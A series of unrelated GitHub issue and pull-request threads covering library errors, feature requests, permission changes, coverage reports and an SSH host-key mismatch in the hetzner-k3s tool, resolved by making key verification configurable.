ValueError: Cannot load /home/coder/.cache/huggingface/hub/models--stabilityai--stable-diffusion-3.5-medium/snapshots/b940f670f0eda2d07fbb75229e779da1ad11eb80/transformer because transformer_blocks.0.norm1.linear.bias expected shape tensor(..., device='meta', size=(9216,)), but got torch.Size([13824]). If you want to instead overwrite randomly initialized weights, please make sure to pass both `low_cpu_mem_usage=False` and `ignore_mismatched_sizes=True`. For more information, see also: https://github.com/huggingface/diffusers/issues/1619#issuecomment-1345604389 as an example.

Upgrade to the latest version of the 🧨 diffusers library
pip install -U diffusers
this solves my problem

Upgrade to the latest version of the 🧨 diffusers library
pip install -U diffusers
this solves my problem


Remove log libraries

Due to inconsistencies between the different versions of log libraries I would recommend to use the default log libraries provided by Spring Boot.
This may help when updating to Spring Boot 3.

Resolved by 527f584ed46f2712196dbd8cf4c8a8b379be161d


xssproxy receives dbus messages for disabling screensaver but the screen still goes blank/start screensaver

Hi,
I installed xssproxy on ubuntu, using it with verbose options I get some logs while firefox is playing a video like:
Inhibit request app=':1.2349' name='firefox' reason='audio-playing'
Disabling screensaver
Inhibit request app=':1.2349' name='firefox' reason='video-playing

That seems OK, but looking at xset q I still see DPMS is Enabled and the screen goes in standby after some time.
I tried with xscreensaver  installed and running but still the screen goes blank or the screensaver is started.
I am using xssproxy version 1.0.0.
I am using i3 as window manager.

xssproxy calls XSuspendScreenSaver which stops the timer. This is not visible in xset q. I am unable to reproduce. mpv does the same thing, can you run it with -v and check if it works for it? You should have the following line:
[vo/gpu/x11] Disabling screensaver.

It also has code to disable DPMS, but it should not be used if the first method succeeds. It will display "Setting DPMS" if it uses this code.

Hi!
sorry for the late reply in this time I tested xssproxy and I can say that it works most of the times, few times it didn't work but it's ok I was not able to investigate about this.
What I changed is that now I start xssproxy when my wm start (i3 in its config).
When I opened the ticket I used to run it as for test via console for verbose option but I don't think this change its behaviour.
As a feature request, if possible, I would like to use xssproxy as a "client" too to query if the suspend was activated/deactivadted, to have a status like.
This could be useful imho as for test or to integrate it in status bar software like i3blocks.
Thanks, as for me the ticket can be closed.


Update action gcp-gke-control-plane-auth-networks-updater to node20

Thank you very much for the contribution, @uwehdaub! I just did the same thing within #121. Unfortunately, I didn't see your PR before starting this task. As my changes covered two more things that needed to be touched, I would like to go with my commit (98a464bc957a0789a66fb6741660ef87d7abd0e4). However, I am giving you co-author credit on the commit. I hope that this is okay for you, Uwe! If not, you know where to find me 😄.


dissolve business

*Issue:*https://github.com/bcgov/entity/issues/23467
Description of changes:
Implement dissolve business functionality and tests
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of the namex license (Apache 2.0).

/gcbrun

Temporary Url for review: https://business-dashboard-dev--pr-52-vzhov0d4.web.app

/gcbrun

Temporary Url for review: https://business-dashboard-dev--pr-52-vzhov0d4.web.app


gRPC API support

Is your feature request related to a problem? Please describe.
From the product Goals section in the docs, it looks like it is intended to provide support for gRPC APIs:
API calls (JSon REST, SOAP XML, gRPC, Thrift, other binary protocols)
But a further search of the documentation makes no other reference to gRPC, so it seems like this is a roadmap feature.
Describe the solution you'd like
It sounds like this is already a planned feature, so I won't document the details.
Mostly creating this record so I (and others) can subscribe for updates.

@plaird Thanks for reaching out. We will keep you posted on this thread about gRPS support.

@harikrishnan83 I can see it is no more on roadmap for 2024Q1 and further. Any updates?

@plaird @Torchun Appreciate your patience on this. We have released support for gRPC. Here is a sample project that demonstrates the capability.
https://github.com/znsio/specmatic-order-bff-grpc-go
Please have a look and let us know what you think. Closing the issue for now, however if you do have any feedback please do comment and / or re-open the issue. Thanks again for your interest.

Thanks Hari.


Add timja to crypto-util

Description

Facilitating release for https://github.com/jenkinsci/lib-crypto-util/pull/4
Note: this hasn't been released in the last 6 years, Kohsuke was the last to release, and @oleg-nenashev assigned permissions to jenkinsci/core in https://github.com/jenkinsci/lib-crypto-util/pull/4
Submitter checklist for changing permissions

Always

[x] Add link to plugin/component Git repository in description above

For a newly hosted plugin only

[na] Add link to resolved HOSTING issue in description above

For a new permissions file only

[x] Make sure the file is created in permissions/ directory
[x] artifactId (pom.xml) is used for name (permissions YAML file).
[x] groupId / artifactId (pom.xml) are correctly represented in path (permissions YAML file)
[x] Check that the file is named plugin-${artifactId}.yml for plugins

When adding new uploaders (this includes newly created permissions files)

[na no existing uploaders] Make sure to @mention an existing maintainer to confirm the permissions request, if applicable
[x] Use the Jenkins community (LDAP) account name in the YAML file, not the GitHub account name
[na i have access] Make sure to @mention the users being added so their GitHub account names are known if they require GitHub merge access (see below).
[x] All newly added users have logged in to Artifactory at least once

Reviewer checklist (not for requesters!)

[ ] Check this if newly added person also needs to be given merge permission to the GitHub repo (please @ the people/person with their GitHub username in this issue as well). If needed, it can be done using an IRC Bot command
[ ] Check that the $pluginId Developers team has Admin permissions while granting the access.
[ ] In the case of plugin adoption, ensure that the Jenkins Jira default assignee is either removed or changed to the new maintainer.
[ ] If security contacts are changed (this includes add/remove), ping the security officer (currently @daniel-beck) in this pull request. If an email contact is changed, wait for approval from the security officer.

There are IRC Bot commands for it

Approved. My phone does not have access to Fithubatm
On Sun, Apr 5, 2020, 15:57 Tim Jacomb<EMAIL_ADDRESS>wrote:

@timja https://github.com/timja requested review from
@jenkins-infra/hosting on: #1484
https://github.com/jenkins-infra/repository-permissions-updater/pull/1484
Add timja to crypto-util as a code owner.
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/jenkins-infra/repository-permissions-updater/pull/1484#event-3202499544,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAW4RIFJIIQ3J7QJLK53GVTRLCE4VANCNFSM4MA4FQWA
.

Upd: to GitHub...
On Sun, Apr 5, 2020, 16:02 Oleg Nenashev<EMAIL_ADDRESS>wrote:

Approved. My phone does not have access to Fithubatm
On Sun, Apr 5, 2020, 15:57 Tim Jacomb<EMAIL_ADDRESS>wrote:

@timja https://github.com/timja requested review from
@jenkins-infra/hosting on: #1484
https://github.com/jenkins-infra/repository-permissions-updater/pull/1484
Add timja to crypto-util as a code owner.
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/jenkins-infra/repository-permissions-updater/pull/1484#event-3202499544,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAW4RIFJIIQ3J7QJLK53GVTRLCE4VANCNFSM4MA4FQWA
.

@oleg-nenashev you able to merge?


Ability to silently disconnect from wallet without page refresh

would like if there was a way to toggle if the page refreshes or not after disconnecting wallet.

This is something you need to implement on your own using your chosen web application framework. You can easily update the state of your web application by listening for EIP-1193 events.
https://eips.ethereum.org/EIPS/eip-1193
"The Provider emits disconnect when it becomes disconnected from all chains."
This issue should be closed. I'm not sure what page refresh has to do with this repo.
// Subscribe to EIP-1193 disconnect event
      web3Connection.on("disconnect", async function () {
        console.log("User disconnected!");
        // Your custom app logic which may or may not refresh the page
        await disconnectWallet();
      });

hey folks, we added this new feature where you can now specify "reloadOnDisconnect: false" when instantiating the CoinbaseWalletSDK to silently disconnect from wallet without a page refresh.

@jeongmincho I could be doing something wrong currently doesn't seem to be working. Does https://github.com/coinbase/coinbase-wallet-sdk/pull/574 need to be looked at to enable fully?

@jeongmincho I could be doing something wrong currently doesn't seem to be working. Does #574 need to be looked at to enable fully?

same trouble

@jeongmincho I could be doing something wrong currently doesn't seem to be working. Does #574 need to be looked at to enable fully?

Same trouble.

https://github.com/coinbase/coinbase-wallet-sdk/issues/764


UML-2005: Make it clear older older LPAs is part of a trial

Fixes UML-2005
Approach
Content addition with translations
Learning
Any tips and tricks, blog posts or tools which helped you. Plus anything notable you've discovered about the Use a Lasting Power of Attorney service
Checklist

[X] I have performed a self-review of my own code
[X] I have added welsh translation tags and updated translation files
[ ] I have run an accessibility tool on any pages I have made changes to and fixed any issues found
[ ] The product team have tested these changes


Unhelpful error message when trying to configure Amazon S-3 without entering credentials

Steps

Go to osf.io
Go to account settings and click on configure add-ons
Select Amazon S3 and click on 'Create access token'
Without putting in the credentials, click submit.
Now go to one of your projects for which you are admin
Configure Amazon S3 but do not put in the credentials and hit submit.

Expected
An error message both times that informs the user that the credentials must be put in to configure the add-on
Actual
Unhelpful error messages both times
Account settings: “Error: Settings not updated.”
Project settings: "Could not add S3 credentials at this time. Please refresh the page. If the problem persists, email<EMAIL_ADDRESS>

I can work on it!


[tracker] LLVM 11.0.0 C-API Changes

This is a tracker for all the changes which were introduces in the LLVM 11.0.0 C-API
The release we're currently using (10.0.1) was released on 6th Aug 2020.
Notes
The ConstantPropagation pass was removed. Users should use the InstSimplify pass instead.
Commits
llvm-c/Core.h

From https://github.com/llvm/llvm-project/commit/51cad041e0cb26597c7ccc0fbfaa349b8fffbcda

+ LLVMGetNumMaskElements
+ LLVMGetUndefMaskElem
+ LLVMGetMaskValue

llvm-c/Orc.h

From https://github.com/llvm/llvm-project/commit/9a0d1b66730c8761a5da59351bf1c7666958130b

+ LLVMOrcExecutionSessionCreateBareJITDylib
+ LLVMOrcExecutionSessionCreateJITDylib
+ LLVMOrcExecutionSessionGetJITDylibByName

llvm-c/Transforms/Scalar.h

From https://github.com/llvm/llvm-project/commit/96f0b57568c3047fde0c1e4b4f52401ce34f2da2

+ LLVMAddInstructionSimplifyPass

From https://github.com/llvm/llvm-project/commit/486ed885339d70cd71ee55567282a43cce28d763

- LLVMAddConstantPropagationPass

llvm-c/DebugInfo.h

From https://github.com/llvm/llvm-project/commit/f91d18eaa946b2d2ea5a9334fb099c3e409ad2d1

+ Enum LLVMDIStringTypeMetadataKind

The changes to the C API are reflected in the freshly generated presets for LLVM 11
https://github.com/bytedeco/javacpp-presets/commit/23ff3500ba310f27779cf7acc87aa1d56c607264#diff-b3cc11fea1a516a3d8da36fb0f8d5e9c88dde78914052d3f0608982d70a57888L1


Update TFLite to v.2.5.0

Thank you for your contribution @kaidrake! We would like to leave this package as it is. (We used it for MLPerf Inference v0.5.)
Could you please try to add v2.5.0 support to ck-tensorflow:package:lib-tflite-cmake, similar to this commit?


feat: make AccordionItem transitions customizable

📑 Description
The transition of AccordionItem component was hard encoded to slide with duration set to 500ms, which was inflexible. So I make it customizable just like the Drawer component and CarouselTransition component.

Did you pass the test?
Please run:
npm run test

And let me know.

The tests were failed, BUT I think the failures were irrelevant to my pull request.
They said the component pages should have h1.
@shinokada


[BUG] Link to react server component is 404 in docs

Describe the bug
To Reproduce
Steps to reproduce the behaviour:

Go to https://github.com/Shopify/hydrogen/tree/main/packages/hydrogen/src/components/CartLinePrice
Click on React Server Component link at bottom of all of the docs
As a dev, I should see docs on handling RSC. Instead I see a 404

Expected behaviour
As a dev, I should see docs on handling RSC. Instead I see a 404.
I think I should see https://github.com/Shopify/hydrogen/blob/58afc97baef8f8a4107aac64fefefe31e757c43a/packages/hydrogen/src/framework/docs/work-with-rsc.md
Screenshots

Hi @JackHowa these docs are generated and deployed on https://shopify.dev, so the link you're seeing actually corresponds to https://shopify.dev/api/hydrogen/framework/react-server-components
What we can do is call out in the docs README that the docs are meant to be viewed online and not in the GitHub repo. Thanks for the report.


Effect Comparsion with Poly-Encoder for text match task

hi, I just wonder that ColBERT and Poly-Encoder which is better for text match task (whether sentence pair is in same class)? Have you compared them? Thx!

Unlike Poly-Encoder, ColBERT mainly targets retrieval problems and is much more scalable to the maxsim design. I'm not aware of comparisons between the two on the problems you're referring to.


xArchive throws Exception setting "LastWriteTime"

I am trying to unzip logstash archive and I am getting following error on first file:
Exception setting "LastWriteTime": "Cannot convert value "24.02.2017 17
:47:52" to type "System.DateTime". Error: "String was not recognized as a valid DateTime.""
https://artifacts.elastic.co/downloads/logstash/logstash-5.2.2.zip

@rseniuta What version are you using? Did you download from Github or the PowerShell Gallery? This resource is getting released with a huge update tomorrow that may have already fixed this problem. You can see the changes in #319

I am using latest version from github.

@rseniuta Seems like a culture issue. I tried upzipping that same file on my test machine. I actually got a different error, but once that was fixed, I didn't see the same error you were getting. That is on an en-US culture machine.
Though I do see the same error if I call Get-Date "24.02.2017 17:47:52" on my en-US machine.

Same problem also with PSDscResources, should I raise on that repo also?
I haven't looked at this in depth but is there perhaps a culture invariant format?
A quick google search reveled this.
http://blogs.microsoft.co.il/scriptfanatic/2011/04/14/converting-date-strings-in-powershell/

@andy1547 If this a problem in PSDscResources resource module, then go ahead and raise the issue there as well


Fix #94 Add hGetCursorPosition, hGetTerminalSize

Tested on Windows 10.  I will not be able to test on a Unix-like operating system before 28 September 2019.

I can confirm it works on Linux. Here's my test program:
import System.Console.ANSI
import System.Environment
import System.Posix.IO
import System.Posix.Types
import System.IO

main = do
  args <- getArgs
  let
    fd :: Fd
    fd =
      case args of
        [] -> Fd 1
        (fd_str : _) -> Fd (read fd_str)
  h <- fdToHandle fd
  hPrint stderr =<< hGetCursorPosition h
  hPrint stderr =<< hGetTerminalSize h

And the tests:
% stack runghc test.hs >/dev/null # hangs
% stack runghc test.hs 2 >/dev/null
Just (46,0)
Just (47,107)
% stack runghc test.hs 5 5>&1 >/dev/null
Just (46,0)
Just (47,107)


Cell image module finished

[ ] Finalize methods text and driving instructions
[ ] Include the legend with the color ranges
[ ] Display select group drop-down with TCGA Study alphabetically sorted
[ ] Integrate abundance data into load_data files (merge with cytokine-network)
[ ] Convert annotations currently in txt and tsv to feather files
[ ] Adapt module to take in custom groups (adapt code from cytokine-network)
[ ] Merge develop into the cell-image branch
[ ] Make sure that dependencies are covered by the renv install (?)

@vthorsson , last commit to ecn-cellimage-for-merge has all the items in the checklist above. Please let me know if there is anything else you would like to include/change in the module before closing this issue.


Update run_backup.py

Correcting Parenthesis Logic

The default for the copy_tree-->copy_file function is to use preserve_times=1 so the current implementation works correctly but, as currently implemented, the preserve_times=1 kwarg gets sent to str.format().
It would be just as valid to do:
copy_tree('/home/spikeygg/printer_data/spoolman/backups', '{}/spoolman'.format(backup_directory))

Good call! I thought I tried this and it didn't preserve so I found that switch and thought it was set by default, so I shouldn't need it but I left it in anyway. I just tried it again with the option removed and it worked to preserve the timestamps. 👍
Thanks for the assist!


An option to auto create and display a preview image

I would like to see an option to auto create and display a preview image based on the panorama image without loading the whole image. The preview image file would be a file and has a size of the size of the preview div.
So if I have a web page of 30 images previews, the page initially loads and displays 30 smaller files.

You need to make the preview image with other software, e.g. Hugin.

Closing due to lack of response.


Fork Linux build pipeline for development purposes

Holding until we're ready to submit

/hold

/assign bkatyl

I think this is ready, but the pipeline needs to be added to https://github.com/GoogleCloudPlatform/guest-test-infra/blob/master/concourse/pipelines/pipeline-set-pipeline.yaml

/unhold


Add StereoPannerNode

https://webaudio.github.io/web-audio-api/#StereoPannerNode
The more complicated PannerNode is already implemented, definitely have a look at that one when implementing this

I've done this one too. Needs some optimizations. I will push the PR next week


chore(package): update chai to version 4.0.1

Codecov Report

Merging #118 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master    #118   +/-   ##
======================================
  Coverage    97.5%   97.5%
======================================
  Files           1       1
  Lines         120     120
======================================
  Hits          117     117
  Misses          3       3

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 96addd2...22949e4. Read the comment docs.


move config-checksum value to annotations

Fixes #2993.
It may be possible to use {{ template "istio.configmap.checksum" . }} instead of using inlined code.
I'm unclear if it is meant to, and will actually select the local or global (mesh) configmap.yaml, though.

resolved in a different PR


test(gateway): test RpcStateReader

This change is

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 83.63%. Comparing base (106a27c) to head (6363134).
Report is 19 commits behind head on main.

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #449   +/-   ##
=======================================
  Coverage   83.63%   83.63%
=======================================
  Files          37       37
  Lines        1711     1711
  Branches     1711     1711
=======================================
  Hits         1431     1431
  Misses        203      203
  Partials       77       77

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Tooling update for releases

Codecov Report

Merging #16 into master will decrease coverage by 1.18%.
The diff coverage is 100%.

@@            Coverage Diff            @@
##           master     #16      +/-   ##
=========================================
- Coverage   83.68%   82.5%   -1.19%
=========================================
  Files          14      14
  Lines         429     400      -29
=========================================
- Hits          359     330      -29
  Misses         40      40
  Partials       30      30

Impacted Files
Coverage Δ

pkg/cmd/version.go
100% <100%> (ø)

pkg/cmd/root.go
82.6% <100%> (+0.79%)
:arrow_up:

pkg/cmd/scan.go
82.35% <0%> (-0.75%)
:arrow_down:

pkg/scan/scanner.go
83.56% <0%> (-0.44%)
:arrow_down:

pkg/scan/result_logger.go
100% <0%> (ø)
:arrow_up:

pkg/scan/result_summarizer.go

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 115e2c5...29148b1. Read the comment docs.


Make default public and ovveridable

This change is really useful when we need to specify the default for a project based on current culture info.
By this point every project could specify the default for each page or, such in my case, in .NET MVC (or Asp.NET) in the master specify the global default.
In example:
<script type="text/javascript" src="js/jquery.autoNumeric.js" />
<script type="text/javascript">
    $(document).ready(function () {
        $.extend($.fn.autoNumeric.defaults, {
            aSep<EMAIL_ADDRESS>            aDec<EMAIL_ADDRESS>        });
    });
</script>

You can override all the default values as you want by this way.
Hope this will help someone out there!
Peter

Peter,
I would like like your opinion on a couple ideas and features but do not want to discuss in public. If you are willing I can be contacted<EMAIL_ADDRESS>- remove brackets
Bob


Discord/community?

I'm trying to use your framework to nix-ify my vim configs, and was curious if you guys have a contributor discord, or some way to contact knowlegeable users. I'm concerned opening a issue for every noobish question would be a bit much.

Don't really feel like there's enough people for a Discord, but I'll turn on the github discussions page, that way it'll show up on google too!

Thanks!


Correct rotation gizmo plane math for off-center perspective view

Summary
The rotation gizmo currently uses the camera's forward vector to determine the plane of interaction. This works fine in ortho viewports, and works in perspective viewports if the gizmo is near the center of the viewport. As the gizmo gets closer to the peripheral of the viewport, this results in the gizmo selecting the incorrect style of interaction (scrolling vs winding), and it also results in incorrect rotation when using view-aligned rotation. Below are GIFs of the three cases, comparing the old and new, corrected behaviour.
Fixes: #95367
Linear Scrolling Tangential to Axis
In this case, the old behaviour incorrectly determines that it should use a radial interaction, and can choose an incorrect winding direction as well.

Radial Winding Around Axis
In this case, the old behaviour incorrectly determines that it should use a linear interaction.

Radial Winding in View-Space
In this case, the old behaviour rotates the object around an inaccurate axis, causing the view of the object to change as you rotate it. The new behaviour uses the correct axis, and keeps the object visually consistent as you rotate it.

Additional Notes
I've also slightly adjusted the orthogonal angle threshold for distinguishing between scroll/winding by 3 degrees, as the old threshold was determined whilst having to account for the erroneous behaviour. The new value makes it slightly easier to choose the linear scrolling interaction.

Thanks!

Cherry-picked for 4.3.1.


there must be at least one rel

i am assuming that untyped links are not supported, right?

Thanks!


Dep/update flake8

Descriptive Caption

Type of Change

[ ] Bug fix.
[ ] New feature.
[ ] Code refactoring.
[x] Dependency update.
[ ] Documentation update.
[ ] Maintenance.
[ ] Other: Description.

[x] Non-breaking (backward-compatible) change.
[ ] Breaking (non-backward-compatible) change.

PR Checklist

[x] I followed the guidelines in the Developer's Guide.
[N/A] New/changed code is properly tested.
[N/A] New/changed code is properly documented.
[ ] New/changed features are tracked in CHANGELOG.rst.
[ ] The CI workflow is passing.

flake8 does not seem to recognize that flake8-rst is installed and exits with error.


host key mismatch

im pretty sure the reason is that i had this ip address in the past
#<Thread:0x0000558fa7638238 /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:144 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
	22: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:144:in `block (2 levels) in create_resources'
	21: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:438:in `wait_for_ssh'
	20: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:438:in `loop'
	19: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:439:in `block in wait_for_ssh'
	18: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:452:in `ssh'
	17: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh.rb:251:in `start'
	16: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh.rb:251:in `new'
	15: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:90:in `initialize'
	14: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:223:in `wait'
	13: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:223:in `loop'
	12: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:225:in `block in wait'
	11: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:190:in `poll_message'
	10: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:190:in `loop'
	 9: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:210:in `block in poll_message'
	 8: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/algorithms.rb:184:in `accept_kexinit'
	 7: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/algorithms.rb:245:in `proceed!'
	 6: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/algorithms.rb:445:in `exchange_keys'
	 5: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/kex/abstract.rb:49:in `exchange_keys'
	 4: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/kex/abstract.rb:77:in `verify_server_key'
	 3: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/accept_new_or_local_tunnel.rb:17:in `verify'
	 2: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/accept_new.rb:18:in `verify'
	 1: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/always.rb:32:in `verify'
/var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/always.rb:50:in `process_cache_miss': fingerprint SHA256:67JzxGepeDTloRSotU9vlZ7OuucQBji3F5Qw7otu6xU does not match for "<IP_ADDRESS>" (Net::SSH::HostKeyMismatch)
Traceback (most recent call last):
	22: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:144:in `block (2 levels) in create_resources'
	21: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:438:in `wait_for_ssh'
	20: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:438:in `loop'
	19: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:439:in `block in wait_for_ssh'
	18: from /var/lib/gems/2.7.0/gems/hetzner-k3s-0.2.0/lib/hetzner/k3s/cluster.rb:452:in `ssh'
	17: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh.rb:251:in `start'
	16: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh.rb:251:in `new'
	15: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:90:in `initialize'
	14: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:223:in `wait'
	13: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:223:in `loop'
	12: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:225:in `block in wait'
	11: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:190:in `poll_message'
	10: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:190:in `loop'
	 9: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/session.rb:210:in `block in poll_message'
	 8: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/algorithms.rb:184:in `accept_kexinit'
	 7: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/algorithms.rb:245:in `proceed!'
	 6: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/algorithms.rb:445:in `exchange_keys'
	 5: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/kex/abstract.rb:49:in `exchange_keys'
	 4: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/transport/kex/abstract.rb:77:in `verify_server_key'
	 3: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/accept_new_or_local_tunnel.rb:17:in `verify'
	 2: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/accept_new.rb:18:in `verify'
	 1: from /var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/always.rb:32:in `verify'
/var/lib/gems/2.7.0/gems/net-ssh-6.1.0/lib/net/ssh/verifiers/always.rb:50:in `process_cache_miss': fingerprint SHA256:67JzxGepeDTloRSotU9vlZ7OuucQBji3F5Qw7otu6xU does not match for "<IP_ADDRESS>" (Net::SSH::HostKeyMismatch)

Hi, that's likely. Try removing the relevant lines from your known_hosts file. I will add a validation for this. Thanks!
Let me know if you get it working.

I deleted my previous comment because irrelevant... the known_hosts file shouldn't affect SSH connections done with Ruby directly, but I will check.

i've deleted the entry from the known_hosts. after that the installation worked

Interesting, I didn't know that knwon_hosts affected SSH connections done with Ruby! Thanks for reporting, I'll make sure the tool removes those lines from that file or ignores them.

maybe its a better idea to close a ticket after a fix is pushed?

Good point, thanks.

In 0.3.0 the known_hosts entries are ignored. I can't think of a better way to handle this because in Hetzner it can easily happen that when you create a new server you get the same IP as a previous server especially if the name is the same. Any suggestions on whether this should be handled differently, and how? Thanks!

known_hosts try to reduce 1 attack vector: compromised host/a host trying to man-in-the-middle a ssh connection. but here we are sure this are new machines. i think its ok to remove the check. i cant think of an attack vector in this scenario.
but what if the server is running since weeks and you are connecting to it? it should fail. then there is something wrong with that machine.

From my experience, I think that there is a chance to get the same IP if a server has been deleted very recently. So perhaps we could enable host key verification if the server os older than X hours. So

if the server has been created up to say 3 hours before or something like that, don't verify the key and just update it in known_hosts
if the server has been created longer than 3 hours ago, then verify the existing host key.

WDYT?

what about a flag?
--yeah-i-know-this-could-be-an-issue-but-nevermind-i-want-it-that-way ^^
maybe something smaller and easier to remember :D

I've released 0.3.1 with the option to set the option verify_host_key to either true or false. I have set the default to false anyway but I've added a note about it in the README. Any other suggestions on how to further improve this or can I close? Thanks

i believe this is now a good compromise of security and ease of use. thx :)

Agree 👍  Closing then. Thanks again!


Relax poison dependency

A new release with this would be great.

I can release as soon as I get back to a keyboard. ~3 hours

<3 <3 <3

0.1.2 has been released with this patch


Support controlling AzureML SDK polling behavior on asset creation operations

Is your feature request related to a problem? Please describe.
For asset operations, i.e. environment creation, which can be long-running, the Azure ML SDK waits until the environment has been fully created in the AML Registry. We have a use-case where we want to start the environment creation and then continue.
The behavior of the SDK is currently to wait until the environment has been created, and only then return from the MLClient.environments.create_or_update operation.
Describe the solution you'd like
Internally, there seems to be a mechanism for polling the status of this operation. Would it be possible to expose this on the Azure ML SDK to be able to control whether we want to wait for the environment creation to complete or not?
Describe alternatives you've considered
We have considered starting the environment creation on one thread, and to poll for the status of the environment on a different thread. As soon as we saw the environment was being created, we could interrupt the creation of the environment and continue later.

@bastbu thanks for the feedback. The @azureml-github team will take a look

We have an internal item to track this item, I will provide an update as soon as that item getting approved.


feature: Support additional ServiceAccounts beyond the default account in each namespace

Description
Support additional ServiceAccounts beyond the default account in each namespace
Checklist:

[ ] Fixes issue: #
[ ] I waited for approval before creating this PR

Checklist:
I have:

[ ] updated the documentation and/or roadmap (if required)
[x] read the CONTRIBUTION guide
[x] signed-off my commits with git commit -s
[ ] added unit tests

@developer-guy please can you detail the testing that you did?
I saw that the "How has this been tested" section was removed from the PR template.

Please add missing fields from https://raw.githubusercontent.com/alexellis/registry-creds/master/.github/pull_request_template.md


Concept: Tools

Define Abstractions

Since we are having AgentTool class now, shouldn't this be closed?


can't build on java 8

Got the following error when build from source, it is caused by the following configuration in example/pom.xm
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <version>3.8.1</version>
        <configuration>
          <release>11</release>
        </configuration>
      </plugin>

error log:
[INFO] dapr-sdk-examples .................................. FAILURE [ 23.955 s]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD FAILURE
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  02:56 min
[INFO] Finished at: 2021-02-24T09:43:55+08:00
[INFO] ------------------------------------------------------------------------
[ERROR] Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.8.1:compile (default-compile) on project dapr-sdk-examples: Fatal error compiling: invalid flag: --release -> [Help 1]
[ERROR]
[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.
[ERROR] Re-run Maven using the -X switch to enable full debug logging.
[ERROR]
[ERROR] For more information about the errors and possible solutions, please read the following articles:
[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoExecutionException
[ERROR]
